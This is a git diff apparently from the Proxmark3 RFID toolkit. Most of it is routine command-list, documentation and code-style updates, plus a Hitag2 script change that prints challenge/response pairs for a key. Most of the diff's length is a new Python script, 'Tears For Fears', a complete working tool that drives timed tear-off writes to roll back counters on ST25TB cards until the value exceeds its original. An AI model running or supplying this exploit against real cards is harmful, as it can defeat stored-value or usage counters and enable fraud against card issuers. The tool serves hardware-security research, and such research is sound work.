"-@ continuous reader mode"
|
||||
],
|
||||
"usage": "lf hitag reader [-h@]"
|
||||
},
|
||||
"lf hitag sim": {
|
||||
"command": "lf hitag sim",
|
||||
"description": "Simulate Hitag transponder You need to `lf hitag eload` first",
|
||||
|
@ -12699,8 +12732,8 @@
|
|||
}
|
||||
},
|
||||
"metadata": {
|
||||
"commands_extracted": 735,
|
||||
"commands_extracted": 737,
|
||||
"extracted_by": "PM3Help2JSON v1.00",
|
||||
"extracted_on": "2024-05-14T08:02:41"
|
||||
"extracted_on": "2024-05-27T13:38:05"
|
||||
}
|
||||
}
|
||||
|
|
|
@ -979,6 +979,7 @@ Check column "offline" for their availability.
|
|||
|`lf em 4x70 auth `|N |`Authenticate EM4x70`
|
||||
|`lf em 4x70 setpin `|N |`Write PIN`
|
||||
|`lf em 4x70 setkey `|N |`Write key`
|
||||
|`lf em 4x70 calc `|Y |`Calculate EM4x70 challenge and response`
|
||||
|`lf em 4x70 recover `|Y |`Recover remaining key from partial key`
|
||||
|`lf em 4x70 autorecover `|N |`Recover entire key from writable tag`
|
||||
|
||||
|
@ -1046,6 +1047,7 @@ Check column "offline" for their availability.
|
|||
|`lf hitag help `|Y |`This help`
|
||||
|`lf hitag list `|Y |`List Hitag trace history`
|
||||
|`lf hitag info `|N |`Hitag 2 tag information`
|
||||
|`lf hitag reader `|N |`Act line an Hitag 2 reader`
|
||||
|`lf hitag test `|Y |`Perform self tests`
|
||||
|`lf hitag dump `|N |`Dump Hitag 2 tag`
|
||||
|`lf hitag read `|N |`Read Hitag memory`
|
||||
|
|
|
@ -127,7 +127,7 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo
|
|||
| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous
|
||||
| HF_14BSNIFF | 14b sniff - jacopo-j
|
||||
| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser
|
||||
| HF_15SNIFF | 15693 simulator - lnv42
|
||||
| HF_15SIM | 15693 simulator - lnv42
|
||||
| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal
|
||||
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito
|
||||
| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins
|
||||
|
|
|
@ -59,7 +59,7 @@ typedef struct {
|
|||
|
||||
typedef struct {
|
||||
int status;
|
||||
uint8_t data[48];
|
||||
uint8_t data[256];
|
||||
} PACKED lf_hitag_crack_response_t;
|
||||
|
||||
//---------------------------------------------------------
|
||||
|
|
|
@ -705,21 +705,28 @@ int main(int argc, char **argv) {
|
|||
// show buidlog in case of error
|
||||
// todo: only for device models
|
||||
unsigned int build_errors = 0;
|
||||
unsigned int build_logs = 0;
|
||||
// unsigned int build_logs = 0;
|
||||
|
||||
cl_command_queue_properties queue_properties = 0;
|
||||
|
||||
if (opencl_profiling) queue_properties = CL_QUEUE_PROFILING_ENABLE;
|
||||
if (opencl_profiling) {
|
||||
queue_properties = CL_QUEUE_PROFILING_ENABLE;
|
||||
}
|
||||
|
||||
// setup, phase 1
|
||||
|
||||
z = 0; // dolphin
|
||||
|
||||
for (w = 0; w < ocl_platform_cnt; w++) {
|
||||
if (!cd_ctx[w].selected) continue;
|
||||
if (!cd_ctx[w].selected) {
|
||||
continue;
|
||||
}
|
||||
|
||||
for (q = 0; q < cd_ctx[w].device_cnt; q++) {
|
||||
if (!cd_ctx[w].device[q].selected) continue;
|
||||
|
||||
if (!cd_ctx[w].device[q].selected) {
|
||||
continue;
|
||||
}
|
||||
|
||||
ctx.device_ids[z] = cd_ctx[w].device[q].device_id;
|
||||
|
||||
|
@ -860,7 +867,7 @@ int main(int argc, char **argv) {
|
|||
|
||||
free(buffer);
|
||||
|
||||
build_logs++;
|
||||
// build_logs++;
|
||||
#if DEBUGME == 0
|
||||
continue; // todo: evaluate this, one or more can be broken, so continue
|
||||
#endif
|
||||
|
|
|
@ -109,7 +109,17 @@ def hitag2(state, length=48):
|
|||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
|
||||
if len(sys.argv) == 4:
|
||||
key = int(sys.argv[1], 16)
|
||||
uid = int(sys.argv[2], 16)
|
||||
n = int(sys.argv[3])
|
||||
for i in range(n):
|
||||
nonce = random.randrange(2**32)
|
||||
state = hitag2_init(key, uid, nonce)
|
||||
print('%08X %08X' % (nonce, hitag2(state, 32) ^ 0xffffffff))
|
||||
|
||||
elif len(sys.argv) == 5:
|
||||
key = int(sys.argv[1], 16)
|
||||
uid = int(sys.argv[2], 16)
|
||||
n = int(sys.argv[3])
|
||||
|
|
553
tools/pm3_tears_for_fears.py
Normal file
553
tools/pm3_tears_for_fears.py
Normal file
|
@ -0,0 +1,553 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
#+---------------------------------------------------------------------------+
|
||||
#| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
|
||||
#+---------------------------------------------------------------------------+
|
||||
#| Copyright (C) Pierre Granier - 2024 |
|
||||
#| |
|
||||
#| This program is free software: you can redistribute it and/or modify |
|
||||
#| it under the terms of the GNU General Public License as published by |
|
||||
#| the Free Software Foundation, either version 3 of the License, or |
|
||||
#| (at your option) any later version. |
|
||||
#| |
|
||||
#| This program is distributed in the hope that it will be useful, |
|
||||
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
|
||||
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
|
||||
#| GNU General Public License for more details. |
|
||||
#| |
|
||||
#| You should have received a copy of the GNU General Public License |
|
||||
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
|
||||
#+---------------------------------------------------------------------------+
|
||||
#
|
||||
# Ref:
|
||||
# https://gitlab.com/SiliconOtter/tears4fears
|
||||
#
|
||||
|
||||
import argparse
|
||||
from queue import Queue, Empty
|
||||
import re
|
||||
from subprocess import Popen, PIPE
|
||||
from time import sleep
|
||||
from threading import Thread
|
||||
|
||||
PM3_SUBPROC = None
|
||||
PM3_SUBPROC_QUEUE = None
|
||||
|
||||
|
||||
class colors:
|
||||
|
||||
reset = '\033[0m'
|
||||
bold = '\033[01m'
|
||||
disable = '\033[02m'
|
||||
underline = '\033[04m'
|
||||
reverse = '\033[07m'
|
||||
strikethrough = '\033[09m'
|
||||
invisible = '\033[08m'
|
||||
|
||||
purple = '\033[35m'
|
||||
red = '\033[31m'
|
||||
green = '\033[32m'
|
||||
blue = '\033[34m'
|
||||
lightred = '\033[91m'
|
||||
lightgreen = '\033[92m'
|
||||
lightblue = '\033[94m'
|
||||
|
||||
|
||||
def main():
|
||||
|
||||
global PM3_SUBPROC
|
||||
global PM3_SUBPROC_QUEUE
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-s",
|
||||
"--strat",
|
||||
type=int,
|
||||
nargs="?",
|
||||
const="1",
|
||||
default="1",
|
||||
dest="strategy",
|
||||
help="Strategy to use (default 1)")
|
||||
parser.add_argument("-b",
|
||||
"--block",
|
||||
type=int,
|
||||
nargs="?",
|
||||
const="-1",
|
||||
default="-1",
|
||||
required=True,
|
||||
dest="target_block",
|
||||
help="Target Block")
|
||||
parser.add_argument("-p",
|
||||
"--pm3-client",
|
||||
type=str,
|
||||
default="pm3",
|
||||
dest="pm3_path",
|
||||
help="pm3 client path")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
|
||||
PM3_SUBPROC_QUEUE = Queue()
|
||||
|
||||
thread = Thread(target=enqueue_output,
|
||||
args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
|
||||
thread.start()
|
||||
|
||||
if args.target_block != -1:
|
||||
tear_for_fears(args.target_block, args.strategy)
|
||||
else:
|
||||
parser.error("--block is required ")
|
||||
|
||||
sub_com('exit')
|
||||
thread.join()
|
||||
|
||||
|
||||
def enqueue_output(out, queue):
|
||||
"""Continuously read PM3 client stdout and fill a global queue
|
||||
|
||||
Args:
|
||||
out: stdout of PM3 client
|
||||
queue: where to push "out" content
|
||||
"""
|
||||
for line in iter(out.readline, b""):
|
||||
queue.put(line)
|
||||
out.close()
|
||||
|
||||
|
||||
def sub_com(command, func=None, sleep_over=0):
|
||||
"""Send command to aPM3 client
|
||||
|
||||
Args:
|
||||
command: String of the command to send
|
||||
func: hook for a parsing function on the pm3 command end
|
||||
|
||||
Returns:
|
||||
result of the hooked function if any
|
||||
"""
|
||||
global PM3_SUBPROC
|
||||
global PM3_SUBPROC_QUEUE
|
||||
|
||||
result = None
|
||||
|
||||
sleep(sleep_over)
|
||||
|
||||
PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
|
||||
PM3_SUBPROC.stdin.flush()
|
||||
if func:
|
||||
while not result:
|
||||
try:
|
||||
result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
|
||||
except Empty:
|
||||
PM3_SUBPROC.stdin.write(bytes(
|
||||
(command + "\n").encode("ascii")))
|
||||
PM3_SUBPROC.stdin.flush()
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def set_space(space):
|
||||
"""Placeholder for instrumentalization or do it manually
|
||||
|
||||
Args:
|
||||
space: distance needed
|
||||
|
||||
Returns:
|
||||
"""
|
||||
input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
|
||||
|
||||
|
||||
def parse_rdbl(str_to_parse):
|
||||
"""Return a list of str of a block from pm3 output
|
||||
Uses `rbdl` in pm3 client
|
||||
|
||||
Args:
|
||||
str_to_parse: string to parse
|
||||
|
||||
Returns:
|
||||
string list
|
||||
"""
|
||||
tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
|
||||
if tmp:
|
||||
# print(tmp)
|
||||
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
|
||||
return None
|
||||
|
||||
|
||||
def parse_UID(str_to_parse):
|
||||
"""Return a card UID from pm3 output
|
||||
|
||||
Args:
|
||||
str_to_parse: string to parse
|
||||
|
||||
Returns:
|
||||
string list
|
||||
"""
|
||||
tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
|
||||
if tmp:
|
||||
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
|
||||
return None
|
||||
|
||||
|
||||
def slist_to_int(list_source):
|
||||
"""Return the int value associated to a bloc list of string
|
||||
|
||||
Args:
|
||||
list_source: list to convert
|
||||
|
||||
Returns:
|
||||
represented int
|
||||
"""
|
||||
return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
|
||||
(int(list_source[1], 16) << 8) + int(list_source[0], 16))
|
||||
|
||||
|
||||
def int_to_slist(src):
|
||||
"""Return the list of string from the int value associated to a block
|
||||
|
||||
Args:
|
||||
src: int to convert
|
||||
|
||||
Returns:
|
||||
list of string
|
||||
"""
|
||||
list_dest = list()
|
||||
for i in range(4):
|
||||
list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
|
||||
return list_dest
|
||||
|
||||
|
||||
def ponderated_read(b_num, repeat_read, sleep_over):
|
||||
"""read a few times a block and give a pondered dictionary
|
||||
|
||||
Args:
|
||||
b_num: block number to read
|
||||
|
||||
Returns:
|
||||
dictionary (key: int, value: number of occurrences)
|
||||
"""
|
||||
weight_r = dict()
|
||||
|
||||
for _ in range(repeat_read):
|
||||
# sleep_over=0 favorize read at 0
|
||||
# (and allow early discovery of weak bits)
|
||||
result = slist_to_int(
|
||||
sub_com(f"hf 14b rdbl -b {b_num}",
|
||||
parse_rdbl,
|
||||
sleep_over=sleep_over))
|
||||
if result in weight_r:
|
||||
weight_r[result] += 1
|
||||
else:
|
||||
weight_r[result] = 1
|
||||
|
||||
return weight_r
|
||||
|
||||
|
||||
def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
|
||||
"""
|
||||
|
||||
Args:
|
||||
b_num: block number
|
||||
stop: last tearing timing
|
||||
|
||||
"""
|
||||
# Sending RAW writes because `wrbl` spend additionnal time checking success
|
||||
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
|
||||
|
||||
set_space(1)
|
||||
dic = ponderated_read(b_num, repeat_read, sleep_over)
|
||||
|
||||
for value, occur in dic.items():
|
||||
|
||||
indic = colors.reset
|
||||
|
||||
if value > original_value:
|
||||
indic = colors.purple
|
||||
|
||||
elif value < original_value:
|
||||
indic = colors.lightblue
|
||||
|
||||
print(
|
||||
f"{(occur / repeat_read) * 100} %"
|
||||
f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
|
||||
f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
|
||||
|
||||
target = max(dic)
|
||||
|
||||
read_back = 0
|
||||
|
||||
# There is no ACK for write so we use a read to check distance coherence
|
||||
if target > (original_value):
|
||||
|
||||
print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
|
||||
f"\nKeep card at the max distance from the reader.\n")
|
||||
|
||||
while (read_back != (target - 1)):
|
||||
print(f"{colors.bold}Writing :{colors.reset}"
|
||||
f" {''.join(map(str,int_to_slist(target - 1)))}")
|
||||
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
|
||||
read_back = slist_to_int(
|
||||
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
|
||||
|
||||
while (read_back != (target - 2)):
|
||||
print(f"{colors.bold}Writing :{colors.reset}"
|
||||
f" {''.join(map(str,int_to_slist(target - 2)))}")
|
||||
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
|
||||
read_back = slist_to_int(
|
||||
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
|
||||
|
||||
set_space(0)
|
||||
|
||||
|
||||
def strat_1_values(original_value):
|
||||
"""return payload and trigger value depending on original_value
|
||||
follow strategy 1 rules
|
||||
|
||||
Args:
|
||||
original_value: starting value before exploit
|
||||
|
||||
Returns:
|
||||
(payload_value, trigger_value) if possible
|
||||
None otherwise
|
||||
"""
|
||||
high1bound = 30
|
||||
|
||||
# Check for leverageable bits positions,
|
||||
# Start from bit 32, while their is no bit at 1 decrement position
|
||||
while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
|
||||
high1bound -= 1
|
||||
if high1bound < 1:
|
||||
# No bits can be used as leverage
|
||||
return None
|
||||
|
||||
low1bound = high1bound
|
||||
|
||||
# We found a suitable pair of bits at 1,
|
||||
# While their is bits at 1, decrement position
|
||||
while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
|
||||
low1bound -= 1
|
||||
if low1bound < 1:
|
||||
# No bits can be reset
|
||||
return None
|
||||
|
||||
trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
|
||||
payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
|
||||
|
||||
return (trigger_value, payload_value)
|
||||
|
||||
|
||||
def strat_2_values(original_value):
|
||||
"""return payload and trigger value depending on original_value
|
||||
follow strategy 2 rules
|
||||
|
||||
Args:
|
||||
original_value: starting value before exploit
|
||||
|
||||
Returns:
|
||||
(payload_value, trigger_value) if possible
|
||||
None otherwise
|
||||
"""
|
||||
high1bound = 31
|
||||
|
||||
# Check for leverageable bit position,
|
||||
# Start from bit 32, while their is no bit at 1 decrement position
|
||||
while not (original_value & (0b1 << high1bound)):
|
||||
high1bound -= 1
|
||||
if high1bound < 1:
|
||||
# No bits can be used as leverage
|
||||
return None
|
||||
|
||||
low1bound = high1bound
|
||||
|
||||
# We found a suitable bit at 1,
|
||||
# While their is bits at 1, decrement position
|
||||
while (original_value & (0b1 << low1bound)):
|
||||
low1bound -= 1
|
||||
if low1bound < 1:
|
||||
# No bits can be reset
|
||||
return None
|
||||
|
||||
trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
|
||||
payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
|
||||
|
||||
return (trigger_value, payload_value)
|
||||
|
||||
|
||||
def tear_for_fears(b_num, strategy):
|
||||
"""try to roll back `b_num` counter using `strategy`
|
||||
|
||||
Args:
|
||||
b_num: block number
|
||||
"""
|
||||
|
||||
################################################################
|
||||
######### You may want to play with theses parameters #########
|
||||
start_taring_delay = 130
|
||||
|
||||
repeat_read = 8
|
||||
repeat_write = 5
|
||||
|
||||
sleep_quick = 0
|
||||
sleep_long = 0.3
|
||||
################################################################
|
||||
|
||||
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
|
||||
|
||||
print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
|
||||
|
||||
tmp = ponderated_read(b_num, repeat_read, sleep_long)
|
||||
original_value = max(tmp, key=tmp.get)
|
||||
|
||||
if strategy == 1:
|
||||
leverageable_values = strat_1_values(original_value)
|
||||
else:
|
||||
leverageable_values = strat_2_values(original_value)
|
||||
|
||||
if leverageable_values is None:
|
||||
print(
|
||||
f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
|
||||
f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
|
||||
f" : { bin(original_value)[2:].zfill(32)}")
|
||||
return
|
||||
|
||||
else:
|
||||
(trigger_value, payload_value) = leverageable_values
|
||||
|
||||
print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
|
||||
f" : { bin(original_value)[2:].zfill(32)}")
|
||||
print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
|
||||
f" : { bin(trigger_value)[2:].zfill(32)}")
|
||||
print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
|
||||
f" : { bin(payload_value)[2:].zfill(32)}\n")
|
||||
|
||||
print(
|
||||
f"{colors.bold}Color coding :{colors.reset}\n"
|
||||
f"{colors.reset}\tValue we started with{colors.reset}\n"
|
||||
f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
|
||||
f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
|
||||
f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
|
||||
f"{colors.purple}\tAbove initial value {colors.reset}")
|
||||
|
||||
if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
|
||||
return
|
||||
|
||||
trigger_flag = False
|
||||
payload_flag = False
|
||||
t4fears_flag = False
|
||||
|
||||
print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
|
||||
f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
|
||||
|
||||
tear_us = start_taring_delay
|
||||
|
||||
while not trigger_flag:
|
||||
|
||||
for _ in range(repeat_write):
|
||||
|
||||
if t4fears_flag:
|
||||
exploit_weak_bit(b_num, original_value, repeat_read,
|
||||
sleep_long)
|
||||
|
||||
if trigger_flag:
|
||||
break
|
||||
|
||||
sub_com(
|
||||
f"hw tearoff --delay {tear_us} --on ; "
|
||||
f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
|
||||
|
||||
preamb = f"Tear timing = {tear_us:02d} us : "
|
||||
print(preamb, end="")
|
||||
|
||||
trigger_flag = True
|
||||
|
||||
for value, occur in ponderated_read(b_num, repeat_read,
|
||||
sleep_quick).items():
|
||||
|
||||
indic = colors.reset
|
||||
# Here we want 100% chance of having primed one sub-counter
|
||||
# The logic is inverted for payload
|
||||
if value > original_value:
|
||||
indic = colors.purple
|
||||
t4fears_flag = True
|
||||
trigger_flag = False
|
||||
|
||||
elif value == trigger_value:
|
||||
indic = colors.green
|
||||
|
||||
elif value < original_value:
|
||||
indic = colors.lightblue
|
||||
|
||||
else:
|
||||
trigger_flag = False
|
||||
|
||||
print(
|
||||
f"{(occur / repeat_read) * 100:3.0f} %"
|
||||
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
|
||||
f"{colors.reset} : {indic}"
|
||||
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
|
||||
end=f"\n{' ' * len(preamb)}")
|
||||
|
||||
print()
|
||||
|
||||
tear_us += 1
|
||||
|
||||
print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
|
||||
f"{''.join(map(str,int_to_slist(payload_value)))}\n")
|
||||
|
||||
tear_us = start_taring_delay
|
||||
|
||||
while True:
|
||||
|
||||
for _ in range(repeat_write):
|
||||
|
||||
if payload_flag:
|
||||
|
||||
exploit_weak_bit(b_num, original_value, repeat_read,
|
||||
sleep_long)
|
||||
|
||||
tmp = ponderated_read(b_num, repeat_read, sleep_long)
|
||||
if max(tmp, key=tmp.get) > original_value:
|
||||
print(f"{colors.bold}Success ! {colors.reset}")
|
||||
return
|
||||
else:
|
||||
payload_flag = False
|
||||
|
||||
sub_com(
|
||||
f"hw tearoff --delay {tear_us} --on ; "
|
||||
f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
|
||||
|
||||
preamb = f"Tear timing = {tear_us:02d} us : "
|
||||
print(preamb, end="")
|
||||
|
||||
for value, occur in ponderated_read(b_num, repeat_read,
|
||||
sleep_quick).items():
|
||||
|
||||
indic = colors.reset
|
||||
|
||||
if value > original_value:
|
||||
indic = colors.purple
|
||||
payload_flag = True
|
||||
|
||||
elif value == payload_value:
|
||||
indic = colors.green
|
||||
payload_flag = True
|
||||
|
||||
elif value < trigger_value:
|
||||
indic = colors.lightblue
|
||||
|
||||
elif value > trigger_value:
|
||||
indic = colors.lightred
|
||||
|
||||
print(
|
||||
f"{(occur / repeat_read) * 100:3.0f} %"
|
||||
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
|
||||
f"{colors.reset} : {indic}"
|
||||
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
|
||||
end=f"\n{' ' * len(preamb)}")
|
||||
|
||||
print()
|
||||
|
||||
tear_us += 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
|
@ -256,6 +256,7 @@ while true; do
|
|||
if ! CheckFileExist "MFP dictionary exists" "$DICPATH/mfp_default_keys.dic"; then break; fi
|
||||
if ! CheckFileExist "MFULC dictionary exists" "$DICPATH/mfulc_default_keys.dic"; then break; fi
|
||||
if ! CheckFileExist "T55XX dictionary exists" "$DICPATH/t55xx_default_pwds.dic"; then break; fi
|
||||
if ! CheckFileExist "HITAG2 dictionary exists" "$DICPATH/ht2_default.dic"; then break; fi
|
||||
|
||||
echo -e "\n${C_BLUE}Testing tools:${C_NC}"
|
||||
if ! CheckExecute "xorcheck test" "tools/xorcheck.py 04 00 80 64 ba" "final LRC XOR byte value: 5A"; then break; fi
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue